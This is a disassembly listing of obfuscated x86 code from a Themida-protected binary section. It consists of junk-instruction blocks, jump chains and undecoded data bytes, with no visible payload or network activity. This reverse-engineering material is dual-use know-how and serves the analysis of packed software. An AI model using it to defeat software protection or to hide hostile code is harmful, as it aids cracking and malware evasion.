loc_58EE12:				; CODE XREF: Themida_:0058AED9j
		xor	ebp, 97B1A616h
		add	edi, ebp
		pop	ebp
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	3EBBh
		mov	[esp], edi
		push	edx
		push	2DF81CA7h
		pop	edx
		and	edx, 0AEA4898h
		push	eax
		jmp	loc_58C985
; ---------------------------------------------------------------------------
		db 1, 0F0h, 5Eh
		dd 5355F801h, 82ECCBBh,	0CEA0E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58EE52:				; CODE XREF: Themida_:0058FF58j
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5933EB
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFFEB59h
; ---------------------------------------------------------------------------


loc_58EE68:				; CODE XREF: Themida_:0058C130j
		push	ecx
		mov	ecx, 70200600h
		sub	ecx, 724703EDh
		push	ebx
		mov	ebx, 54706E74h
		shr	ebx, 2
		shl	ebx, 4
		shr	ebx, 7
		sub	ebx, 984305DFh
		or	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 49E43B88h
		or	ecx, edx
		pop	edx
		push	esi
		mov	esi, 8503076h
		jmp	loc_589B51
; ---------------------------------------------------------------------------
		dd offset dword_4E8E9C+13ACCh
		align 2
		dw 8F54h
		dd 0CEE92404h, 5A000023h, 392E68h, 241C8900h, 4BBh, 32C18100h
		dd 155A37Ch, 48BF57D9h,	0F74B004Bh, 52DFF7DFh, 0AC763FBAh
		dd 0E9D70115h, 2E77h, 525AD301h, 0ED5E78BAh, 4A66E97Fh
		dd 68560000h, 26022D6Ch, 5E6C15Eh, 6C1BBD55h, 0EE311209h
		dd 3908E9h
		db 0
; ---------------------------------------------------------------------------


loc_58EF05:				; CODE XREF: Themida_:005897E1j
		mov	ebp, 4
		add	ecx, ebp
		jmp	loc_58D459
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 57h
		dd 4112800Fh, 6240E981h, 0CCE91E40h, 68000030h,	548Fh
		dd 0BE243489h, 26F0675Fh, 1BE9DEF7h, 21FFFFE9h,	18E95AD0h
		dd 87FFFFE7h, 0E95C243Ch, 2E06h, 0FF243C89h, 0E9042474h
		dd 0FFFFF781h, 35FDC281h, 875868C8h, 0A7E92414h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58EF63:				; CODE XREF: Themida_:0058DEFCj
		pop	esp
		add	bl, al
		jmp	loc_58B18E
; ---------------------------------------------------------------------------


loc_58EF6B:				; CODE XREF: Themida_:0058E2F9j
		mov	eax, edi
		mov	edx, eax
		jmp	loc_589DFD
; ---------------------------------------------------------------------------
aN1Hfv		db '­1ØhäV',0
		align 4
		dd 57241489h, 0B6C435BFh, 6D2A680Dh, 4890000h, 89F88924h
		dd 6CE958C2h, 33FFFFB7h, 248B243Ch, 0A4C0E924h,	34FFFFFFh
		dd 240C8B24h, 81E38953h, 4C3h, 4BD5500h, 1000000h, 567EE9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58EFBE:				; CODE XREF: Themida_:0059321Fj
		add	ch, 0D5h
		sub	ch, dh
		sub	ch, 0D5h
		mov	edx, [esp]
		jmp	loc_59474D
; ---------------------------------------------------------------------------


loc_58EFCE:				; CODE XREF: Themida_:0058ADA5j
		mov	esi, 33B0030Ah
		not	esi
		jmp	loc_592F2C
; ---------------------------------------------------------------------------
		dw 3489h
		dd 56FAE924h, 0E95C0000h, 4743h
; ---------------------------------------------------------------------------


loc_58EFE8:				; CODE XREF: Themida_:00591578j
		mov	edi, 4
		add	eax, edi
		pop	edi
		jmp	loc_58CFBA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 1EE9CF01h, 5F000052h, 5BE930FFh
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F007:				; CODE XREF: Themida_:0058EA2Cj
		mov	[esp], edi
		mov	edi, 1ECF68A7h
		and	edi, 30D82131h
		not	edi
		push	ebx
		jmp	loc_58B2B5
; ---------------------------------------------------------------------------


loc_58F01D:				; CODE XREF: Themida_:0059072Fj
		sub	eax, ecx
		pop	ecx
		sub	eax, 0B3524030h
		xor	ebx, eax
		pop	eax
		sub	ebx, 0D200FA72h
		jmp	loc_58A179
; ---------------------------------------------------------------------------
		db 66h
		dd 66D6F659h, 66160E68h, 83241C89h, 48904ECh, 88F08824h
		dd 24048BC7h, 4EC81h, 1C890000h, 57E38924h, 0B32ED2BFh
		dd 0C4B85075h, 9217248h, 28E958C7h, 29FFFFB8h, 0C8E92414h
		dd 81000049h, 4E9h, 74FF5100h, 8F590424h, 248B2404h, 24048924h
		dd 0D60600B8h, 8BC72918h, 5EE92404h, 0B3FFFFFFh, 2982E90Fh
		dd 0EC800000h, 58E300BAh, 0AEE95266h, 8300005Eh, 0B95104C4h
		dd 4, 0E959CA01h, 0FFFFFE32h, 1ABFE9ACh, 0F7010000h, 0FFC51FE9h
		dd 240481FFh, 4, 0FFAA20E9h, 0C0D3F6FFh, 0B05007EBh, 2E0C07Fh
		dd 0EE04CD34h, 2858C328h, 0C8B5BD8h, 4C48124h, 0E9000000h
		dd 0FFFFF256h, 405h, 42D00h, 4870000h, 1C895C24h, 2550E924h
		dd 0DA680000h, 89000002h, 8B542434h, 0DDE92434h, 8100001Eh
		dd 0F71A39C2h, 0C0C28102h, 16DA118h, 0C0EA81CAh, 816DA118h
		dd 0F71A39EAh, 8DEA8102h, 68042B1Fh, 25B6h, 0B9240C89h
		dd 0
		dd 188D101h, 1CDAE9h, 6E26800h,	0C890000h, 3452E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F162:				; CODE XREF: Themida_:00592027j
		xchg	ebx, [esp]
		jmp	loc_59581B
; ---------------------------------------------------------------------------
		dw 4A4Ah
		dd 10B2E9h, 515E5400h, 974899B9h, 0A7E18122h, 0F777A467h
		dd 87D9F7D9h, 51D2F7D1h, 148B5952h, 0A3A0E924h,	0FB29FFFFh
		dd 7468EB81h, 15F79BBh,	59C381C3h, 68713976h, 5C1Fh, 474AE9h
		db 0
; ---------------------------------------------------------------------------


loc_58F1AD:				; CODE XREF: Themida_:0058D234j
		mov	ebp, 372A481Ch
		sub	[esp+4], ebp
		jmp	loc_59238F
; ---------------------------------------------------------------------------


loc_58F1BB:				; CODE XREF: Themida_:0058DB9Dj
		mov	[esp], ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_58A97B
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 73367812h, 7E5E9h, 6BE95F00h, 91FFFFCCh, 0AFE28E35h
		dd 1C4709F1h, 582434FFh, 0FFB68BE9h, 806856FFh,	89000031h
		dd 4832424h, 525E0424h,	8D5BE8BAh, 76E94A7Dh, 81FFFFC4h
		dd 30CF6h, 8BF00100h, 0C4812434h, 4, 2BF57h, 0F8010000h
		dd 2404875Fh, 0CFF665Ch, 33E99C24h, 8FFFFFA2h, 248B2404h
		dd 240C8924h, 0FFA225E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F23D:				; CODE XREF: Themida_:0058D809j
		shl	esi, 1
		add	esi, 0EB0AD4BCh
		and	ebx, esi
		pop	esi
		sub	esp, 4
		jmp	loc_593A32
; ---------------------------------------------------------------------------
aPKait		db 'P´K€ët',0
		db 0E3h
		dd 5874C380h, 0C3FECBFEh, 8001EB80h, 0E3E95BC3h, 57000066h
		dd 392EE368h, 0F7815F36h, 6E5E691Dh, 14C8E9h
		db 0
; ---------------------------------------------------------------------------


loc_58F27D:				; CODE XREF: Themida_:0058CF6Dj
		mov	ebp, esp
		push	edi
		jmp	loc_593F83
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 48F665Ch, 10F3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F292:				; CODE XREF: Themida_:005954A3j
		pop	edi
		inc	edi
		xor	edi, 62FF5758h
		mov	esi, edi
		jmp	loc_58E5CA
; ---------------------------------------------------------------------------
		db 1, 0D9h, 0E9h
		dd 0FFFFE3FAh
; ---------------------------------------------------------------------------


loc_58F2A8:				; CODE XREF: Themida_:00591D85j
		add	esp, 4
		jmp	loc_58B2D9
; ---------------------------------------------------------------------------
		dd 2B29F181h, 0D9F7788Bh, 5BF2E181h, 0E9811243h, 12400290h
		dd 0A4728B05h, 2DC8011Eh, 1EA4728Bh
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 2A907276h
		dec	edx
		jmp	loc_590C2C
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0A30F6624h, 0E99C2404h, 0FFFFA172h, 51D830ACh, 4D50E9h
		dd 4C28100h, 87000000h,	315C2414h, 241C8BDFh, 4704C483h
		dd 5C32F781h, 0D3E95B54h, 89FFFFB9h, 0E9552414h, 0FFFFECACh
		dd 704A68h, 241C8900h, 88AFB151h, 73B259CFh, 2C5BFA28h
		dd 4D000DBh, 0CE045ADBh, 0CE2CD800h, 0FFBC7FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F345:				; CODE XREF: Themida_:00595377j
		add	al, 53h
		sub	al, 33h
		push	410Ch
		jmp	loc_58B0EA
; ---------------------------------------------------------------------------


loc_58F353:				; CODE XREF: Themida_:005918E4j
		push	eax
		mov	eax, 6FDA0548h
		neg	eax
		shr	eax, 4
		jmp	loc_58A11C
; ---------------------------------------------------------------------------
		db 21h
		dd 24148BD5h, 4C481h, 81450000h, 42395DF5h, 36E95047h
		dd 0FFFFCCh, 0EB8059CBh, 86CBFEDEh, 0D802E9EBh,	0E95AFFFFh
		dd 0FFFFA31Eh, 8B2434FFh, 0C4832404h, 0FD70E904h, 0DBF7FFFFh
		dd 0FB10EB81h, 0DA299B40h, 2414875Bh, 0E924248Bh, 0D84h
		dd 7923C981h, 0D1F710D3h, 0FFD891E9h, 0A09CE9FFh, 0D989FFFFh
		dd 0FEE2E95Bh, 0E981FFFFh, 10150FFDh, 68242C8Bh, 310Dh
		dd 89241C89h, 4C381E3h,	0E9000000h, 8C1h, 348BF301h, 4C48324h
		dd 41BBC381h, 0EB812BB2h, 47A57B0Bh, 0C381D329h, 47A57B0Bh
		dd 234E9h, 80DBF600h, 0D988B9EBh, 16B3535Bh, 80EAEB80h
		dd 0C38008E3h, 8BD9280Eh, 0C483241Ch, 8BC83004h, 0ABE9240Ch
		dd 0B2FFFFCDh, 58E20058h, 0BEE9D328h, 81FFFFC2h, 8B09DBE9h
		dd 90C181CDh, 0E9708565h, 21F7h
; ---------------------------------------------------------------------------


loc_58F450:				; CODE XREF: Themida_:0058C996j
		shl	edx, 1
		jmp	loc_58FFB3
; ---------------------------------------------------------------------------
		db 1
		dd 0A7E981D1h, 5A280226h, 8B240C87h, 0ACE92424h, 89FFFFC4h
		dd 71E92434h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58F473:				; CODE XREF: Themida_:0058AFBFj
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	eax, edx
		pop	edx
		jmp	loc_58BE91
; ---------------------------------------------------------------------------
		dd 6850E1F7h, 485Dh, 18D4E9h, 0E6895600h, 4C681h, 0C6830000h
		dd 24348704h, 0C0B60F5Ch, 0FFC9CEE9h, 31F4BAFFh, 72E9082Ch
		dd 81000044h, 4C4h, 4C28100h, 55000000h, 2BDh, 0E9EA2900h
		dd 0FFFFF6EFh
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_59288C
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 9C240418h, 0FF9F69E9h, 48B66FFh, 4EC8324h
		dd 89241C89h, 0BA5251E3h, 246CCCh, 246CC8B9h, 8BD13100h
		dd 0C4812414h, 4, 0B3DC381h, 0B9514F7Dh, 4BB24904h, 159CB29h
		dd 4C381CBh, 814BB249h,	7D0B3DEBh, 3A88E94Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F53E:				; CODE XREF: Themida_:00595113j
		not	edi
		neg	edi
		xor	edi, 399F0256h
		add	ebp, edi
		mov	edi, [esp]
		push	ebp
		jmp	loc_593F97
; ---------------------------------------------------------------------------


loc_58F553:				; CODE XREF: Themida_:00593F92j
		pop	ebp
		mov	ecx, edx
		pop	edx
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5918B7
; ---------------------------------------------------------------------------
		dd 0C381C301h, 374A59E8h, 5B6AE952h, 0F0280000h, 651EE9h
		dd 0C2305B00h, 0D0305866h, 24A1685Ah, 0C890000h, 51C76824h
		dd 1C890000h, 2101E924h, 14870000h, 4895C24h, 2474FF24h
		dd 2434FF04h, 8324048Bh, 0C48304C4h, 17EE904h, 205C0000h
		dd 0E99C2404h, 0FFFF9EA6h, 4EC83ADh, 0E9243C89h, 3B1Ch
		dd 9A72D0BEh, 0BBE6810Dh, 5162E527h, 5A4B6FB9h,	3E9C13Fh
		dd 8105E1C1h, 44E19EC1h, 59CE0147h, 15EF029h, 0D4ECE9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F5F2:				; CODE XREF: Themida_:005913E3j
		add	esp, 4
		push	ebp
		push	56E14FC3h
		push	dword ptr [esp]
		pop	ebp
		push	eax
		mov	eax, esp
		push	ebx
		push	edi
		mov	edi, 4
		mov	ebx, edi
		pop	edi
		add	eax, 7E440318h
		add	eax, ebx
		sub	eax, 7E440318h
		jmp	loc_591E2F
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 61h
		dd 49D7F6BCh, 4B4ABE56h, 0F74E0954h, 9DBA52D6h,	962621Eh
		dd 0F6815AD6h, 5CE2686Ah, 0FFE1CDE9h, 0BBEB81FFh, 812BB241h
		dd 6752C3EBh, 1537E914h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F652:				; CODE XREF: Themida_:005942C3j
		and	edi, 6C0350FFh
		neg	edi
		dec	edi
		shr	edi, 5
		neg	edi
		jmp	loc_5914A9
; ---------------------------------------------------------------------------
		db 0C1h, 0EFh, 6
		dd 0B9EF814Fh, 89EB635Eh, 0F5815FFDh, 15FD7ECEh, 22E8E9h
		dd 4C48300h, 5C24048Fh,	89242C89h, 4C581E5h, 57000000h
		dd 0DA264DBFh, 4FF7814Eh, 14EDA26h, 0E9555FFDh,	3DDDh
		dd 8102EE83h, 4ECh, 497EE900h, 0CA810000h, 60ED553Ch, 4951B850h
		dd 2E0D75C5h, 0C1494C76h, 74E904E0h, 57FFFFF5h,	4BFh, 5FFA0100h
		dd 2BB53h, 0DA010000h, 74FF525Bh, 8F5A0424h, 248B2404h
		dd 2424D324h, 3D7BE99Ch, 8B660000h, 59682404h, 8900005Ah
		dd 58542404h, 4BF57h, 4CE90000h, 50000018h, 0F0654DB8h
		dd 8BC6813Eh, 290C1A62h, 8BEE81C6h, 580C1A62h, 0C681FE01h
		dd 3EF0654Dh, 0E9F0015Fh, 0F95h, 8B24048Fh, 21662424h
		dd 0E99C2404h, 0FFFF9D22h
; ---------------------------------------------------------------------------


loc_58F740:				; CODE XREF: Themida_:00594849j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		xor	ebx, eax
		pop	dword ptr [eax]
		jmp	loc_5949DE
; ---------------------------------------------------------------------------
		dd 24048B66h, 535D5455h, 3332E9h, 24048100h, 4,	4C6815Eh
		dd 57000000h, 2BFh, 0B6BB5300h,	12E083Bh, 32AE9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F77E:				; CODE XREF: Themida_:0058AF83j
		mov	edx, 4A283ECCh
		sub	edx, 6B292615h
		push	eax
		mov	eax, 3EF969E0h
		sub	edx, eax
		pop	eax
		shl	edx, 2
		push	esi
		jmp	loc_591394
; ---------------------------------------------------------------------------


loc_58F79B:				; CODE XREF: Themida_:0058E0ECj
		mov	edi, 15F13B86h
		jmp	loc_59089D
; ---------------------------------------------------------------------------


loc_58F7A5:				; CODE XREF: Themida_:0059298Aj
		push	edx
		mov	edx, 23F358F3h
		dec	edx
		dec	edx
		shl	edx, 3
		or	edx, 72B823FDh
		sub	edx, 60588B00h
		sub	[esp+8], edx
		pop	edx
		add	dword ptr [esp+4], 19CE003Eh
		add	dword ptr [esp+4], 3EE5083Bh
		sub	[esp+4], ebp
		jmp	loc_592D33
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 4BD24h, 0EF810000h, 792C40F2h, 0FF9F9AE9h, 0E9CD29FFh
		dd 0FFFFCE8Eh
; ---------------------------------------------------------------------------


loc_58F7F4:				; CODE XREF: Themida_:0058E2EEj
		push	ebx
		jmp	loc_58D55C
; ---------------------------------------------------------------------------


loc_58F7FA:				; CODE XREF: Themida_:005938F2j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58D143
; ---------------------------------------------------------------------------


loc_58F80B:				; CODE XREF: Themida_:0058A92Aj
		shl	edx, 1
		jmp	loc_590DC4
; ---------------------------------------------------------------------------
		dw 8F64h
		dd 0E1E6E902h, 0BA52FFFFh, 311D470Ah, 4242DAF7h, 8104EAC1h
		dd 380600C2h, 5AD53145h, 0DDF7D5F7h, 5652C581h,	0EA092CD6h
		dd 0E9EAD15Dh, 0FFFFBF91h, 0EBBF5752h, 8106132Fh, 9B6949C7h
		dd 0B7E7816Dh, 4778AF02h, 0FFD20EE9h, 368768FFh, 34890000h
		dd 0CAD2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F86A:				; CODE XREF: Themida_:00593796j
		mov	ecx, 4
		jmp	loc_592257
; ---------------------------------------------------------------------------
		dd 24048B66h, 56E08950h, 0C681E689h, 4,	8704EE83h, 76E92434h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F88F:				; CODE XREF: Themida_:0059458Cj
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_594B57
; ---------------------------------------------------------------------------
		db 8Bh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 4
		sub	ebp, 24D64C5Bh
		add	ebp, esi
		add	ebp, 24D64C5Bh
		pop	esi
		push	eax
		push	7E0Ah
		jmp	loc_594776
; ---------------------------------------------------------------------------
		db 81h
		dd 226A7C1h, 0FB71E928h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F8E6:				; CODE XREF: Themida_:0059182Dj
		or	esi, ebp
		pop	ebp
		and	esi, 4F07158Fh
		jmp	loc_58D33A
; ---------------------------------------------------------------------------
		dd 6B2D68h, 24348900h, 0CBE9E689h, 50000055h, 405E089h
		dd 2D000000h, 4, 5C240487h, 55240489h, 3B29E9h,	6650BE00h
		dd 0CE817726h, 50BB56FFh, 9E49E946h, 2FE9FFFFh
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F933:				; CODE XREF: Themida_:00589FCAj
		add	[esp+4], edx
		sub	dword ptr [esp+4], 4F780455h
		pop	edx
		pop	eax
		push	edi
		mov	edi, 67DF0612h
		jmp	loc_59334D
; ---------------------------------------------------------------------------
		dd 53240C89h, 95E9D388h, 8BFFFFB8h, 0C4832414h,	9B00E904h
		dd 5C29FFFFh, 0DBE90424h, 68000061h, 7830h, 56241C89h
		dd 0FFAC63E9h, 0C8B66FFh, 0DBE95024h, 41FFFFEFh, 7938C981h
		dd 0E9491EA3h, 383h, 0BA665266h, 16667C7h, 555A66D0h, 108ABD66h
		dd 1C58366h, 0EDF58166h, 782D6619h, 0E829664Dh,	4D780566h
		dd 2BE2E95Dh, 0EBC10000h, 0CC92E908h, 0C101FFFFh, 240C3358h
		dd 0FFA17CE9h, 79CE81FFh, 0C1527D57h, 814603E6h, 0FBFFCBF6h
		dd 0D8AFE9DFh, 45AFFFFh, 2CE82871h, 2C596671h, 4988E9F6h
		dd 4870000h, 2EE95C24h,	81000005h, 4C2h, 4C28100h, 0E9000000h
		dd 0FFFFAA71h, 81241C8Bh, 4C4h,	2C28100h, 0E9000000h, 0FFFFD487h
		dd 0D324248Bh, 0E99C2424h, 0FFFF9A36h, 0C103EEC1h, 0F68107E6h
		dd 0EDA7B29h, 5AA5EE81h, 0F50109EFh, 537B685Eh,	16E90000h
		dd 0BF000041h, 126D76A4h, 2278EF81h, 0E947720Bh, 378Dh
; ---------------------------------------------------------------------------


loc_58FA5C:				; CODE XREF: Themida_:0058EBBAj
		shr	eax, 4
		neg	eax
		xor	eax, 8BB145D1h
		or	edi, eax
		pop	eax
		or	edi, 18F1545Ah
		push	esi
		mov	esi, 59370B31h
		or	edi, esi
		pop	esi
		shl	edi, 3
		add	edi, 2000002Ch
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_593B5A
; ---------------------------------------------------------------------------


loc_58FA8E:				; CODE XREF: Themida_:00594FE6j
		not	ebx
		shl	ebx, 5
		jmp	loc_58CCEB
; ---------------------------------------------------------------------------
		dd 2D08E0C1h, 221FFCECh, 0E948D0F7h, 0FFFFA059h, 0E9FE015Bh
		dd 0FFFFB74Bh
; ---------------------------------------------------------------------------


loc_58FAB0:				; CODE XREF: Themida_:0058DB95j
		mov	esi, 189A3124h
		jmp	loc_5913AA
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 4, 335BDE01h, 0CBE92434h, 8100003Dh,	4C4h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_595979
; ---------------------------------------------------------------------------


loc_58FAF1:				; CODE XREF: Themida_:0058E565j
		mov	edi, 297D6D81h
		xor	ebp, edi
		pop	edi
		push	48h
		mov	[esp], ebx
		mov	ebx, 78B258C2h
		add	ebp, ebx
		pop	ebx
		and	ebp, 75631C75h
		sub	ebp, 0D96A06FEh
		jmp	loc_58FD82
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0C2830000h, 24148704h, 74FF555Ch, 8F5D0424h
		dd 0E95C2404h, 2A3h, 240C8B66h,	8904EC83h, 8B54240Ch, 8956240Ch
		dd 4C681E6h, 83000000h,	343304C6h, 24343124h, 5C243433h
		dd 3933E950h, 0F1810000h, 15F9DC67h, 0C159CE21h, 0E68107E6h
		dd 52FC3721h, 1FA7EE81h, 0F589DF9Bh, 5DEE95Eh, 0EBE0000h
		dd 816EB330h, 0AF30D2EEh, 2A8CE93Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58FB92:				; CODE XREF: Themida_:00594A93j
		xor	ebx, 0CD15A4Dh
		sub	ebx, 7C2C6CD8h
		sub	esi, ebx
		jmp	loc_59029C
; ---------------------------------------------------------------------------


loc_58FBA5:				; CODE XREF: Themida_:0058AC49j
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_58BA56
; ---------------------------------------------------------------------------
		db 8Ah,	4, 24h
		dd 16FDE9h, 5A545200h, 0FFE817E9h, 806EB6FFh, 0C680A8F6h
		dd 1636E93Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58FBCE:				; CODE XREF: Themida_:0059503Cj
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 12AE14B5h
		inc	ebp
		push	edx
		mov	edx, 12AE14B2h
		xor	ebp, edx
		jmp	loc_58C8A8
; ---------------------------------------------------------------------------


loc_58FBE5:				; CODE XREF: Themida_:0058CA26j
		mov	ebx, 60F1620h
		shl	ebx, 4
		shr	ebx, 3
		add	ebx, 208C22D2h
		inc	ebx
		add	ebx, 0C6B1EEE3h
		jmp	loc_5926E5
; ---------------------------------------------------------------------------
		dw 0FB34h
		dd 1F04790Ch, 8058C388h, 6BE953E3h, 66FFFF9Bh, 56240C8Bh
		dd 0BFFE9h
		db 0
; ---------------------------------------------------------------------------


loc_58FC1D:				; CODE XREF: Themida_:0058AC7Cj
		mov	ebx, [esp]
		jmp	loc_5949E3
; ---------------------------------------------------------------------------
		align 2
		dw 0E9C3h
		dd 0FFFFC166h, 4C88E955h, 0B9510000h, 2, 0FFB34BE9h, 4EC83FFh
		dd 0BA241489h, 163008B1h, 257DE942h, 0CB010000h, 4C38359h
		dd 5C241C87h, 0AFE9E9F7h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FC5F:				; CODE XREF: Themida_:0058C28Dj
		push	2090h
		jmp	loc_589F67
; ---------------------------------------------------------------------------
		db 29h,	0DDh, 5Bh
		dd 0EBE0BA52h, 0D5014FB6h, 3A5EE9h
		db 0
; ---------------------------------------------------------------------------


loc_58FC79:				; CODE XREF: Themida_:0058ADFBj
		xor	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		and	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	eax
		push	esp
		pop	eax
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5929E8
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 0FFFFD717h, 33243431h, 248B2434h, 5031E924h
		dd 0C4810000h, 4, 0E9240C87h, 0FFFFF60Eh
; ---------------------------------------------------------------------------


loc_58FCD4:				; CODE XREF: Themida_:0058AA69j
		pop	edi
		pop	ebx
		jmp	loc_58DB3C
; ---------------------------------------------------------------------------


loc_58FCDB:				; CODE XREF: Themida_:0058980Cj
		push	esi
		mov	esi, esp
		jmp	loc_5951BA
; ---------------------------------------------------------------------------
		db 87h
		dd 315C241Ch, 2434FFC8h, 4FF7E959h, 0C1FE0000h,	0D9F6D9F6h
		dd 28CDF180h, 0C32859CBh, 0E98BC380h, 4809h
; ---------------------------------------------------------------------------


loc_58FD08:				; CODE XREF: Themida_:00593E0Bj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5940C4
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C18108E9h, 7F0F6F8Ch, 8959CF31h, 77215FFEh,	2434FF1Ch
		dd 0E92434FFh, 1F71h, 4DF3CA81h, 0E94A029Ah, 0FFFFC9CEh
		dd 1F3EB81h, 0E95A7F9Fh, 0FFFFB7E1h, 240C8B66h,	4D1368h
		dd 24348900h, 0E9E28952h, 1BBAh, 69682104h, 8900001Fh
		dd 0B151241Ch, 59CB8831h, 0FFCCBAE9h, 0BECE81FFh, 8150666Bh
		dd 36BBDF6h, 0CBDE933h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58FD82:				; CODE XREF: Themida_:0058FB15j
		mov	edi, ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	[esp+4], edi
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 46F70976h
		push	eax
		mov	eax, esp
		jmp	loc_590685
; ---------------------------------------------------------------------------
		dw 0A7E9h
		dd 80FFFF96h, 0C300E5C3h, 0FFA872E9h, 5FFD89FFh, 0FFE8A0E9h
		dd 7C5F68FFh, 0C15B2A33h, 0F8E902EBh, 0FFFFFFA8h, 0AAE92434h
		dd 81000026h, 402304CAh, 33BE561Fh, 31675E25h, 0D5895EF2h
		dd 55EE815Ah, 177816Bh,	55C681EEh, 8B77816Bh, 0C483242Ch
		dd 75EE8104h, 68278655h, 0
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		push	18D82E19h
		pop	edi
		xor	edi, 6BAF02B8h
		xor	edi, 73772CA5h
		sub	ebp, 669A383Bh
		jmp	loc_590F5F
; ---------------------------------------------------------------------------
		dd 0E904E0C1h, 0FFFFBC97h, 8B1C4F09h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_58D200
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 7B2C44C8h, 6DF68146h, 0E95E735Dh, 374Fh, 56242C89h
		dd 4174768h, 0F6815E25h, 424E67D1h, 815EF589h, 0A403CBEDh
		dd 5ECE90Fh, 0EDB80000h, 52140721h, 3E1EE9h
		db 0
; ---------------------------------------------------------------------------


loc_58FE89:				; CODE XREF: Themida_:0059069Ej
		mov	[esp], ebx
		mov	ebx, 2000000h
		mov	esi, ebx
		jmp	loc_591181
; ---------------------------------------------------------------------------
		dd 0E9DBF75Bh, 34D4h, 24048B66h, 59B568h, 24148900h, 966DE954h
		dd 34FFFFFFh, 0E84FE924h, 0BA52FFFFh, 5D877BC9h, 0FFBF6BE9h
		dd 4EC81FFh, 89000000h,	0E6892434h, 4C681h, 0C6830000h
		dd 0BCC9E904h, 0E0C1FFFFh, 74FB0503h, 0A22D3635h, 89564715h
		dd 18E958C7h, 8BFFFFF8h, 0C4812434h, 4,	4EC81h,	2C890000h
		dd 81E58924h, 4C5h, 4C58100h, 87000000h, 0BCE9242Ch, 0FFFFFFC4h
		dd 68592434h, 3B5Dh, 66EE9h, 242C3300h,	51F9E9h, 2434FF00h
		dd 8324048Bh, 5B6804C4h, 0E9000077h, 3663h
; ---------------------------------------------------------------------------


loc_58FF44:				; CODE XREF: Themida_:00590EFDj
		push	13D9h
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
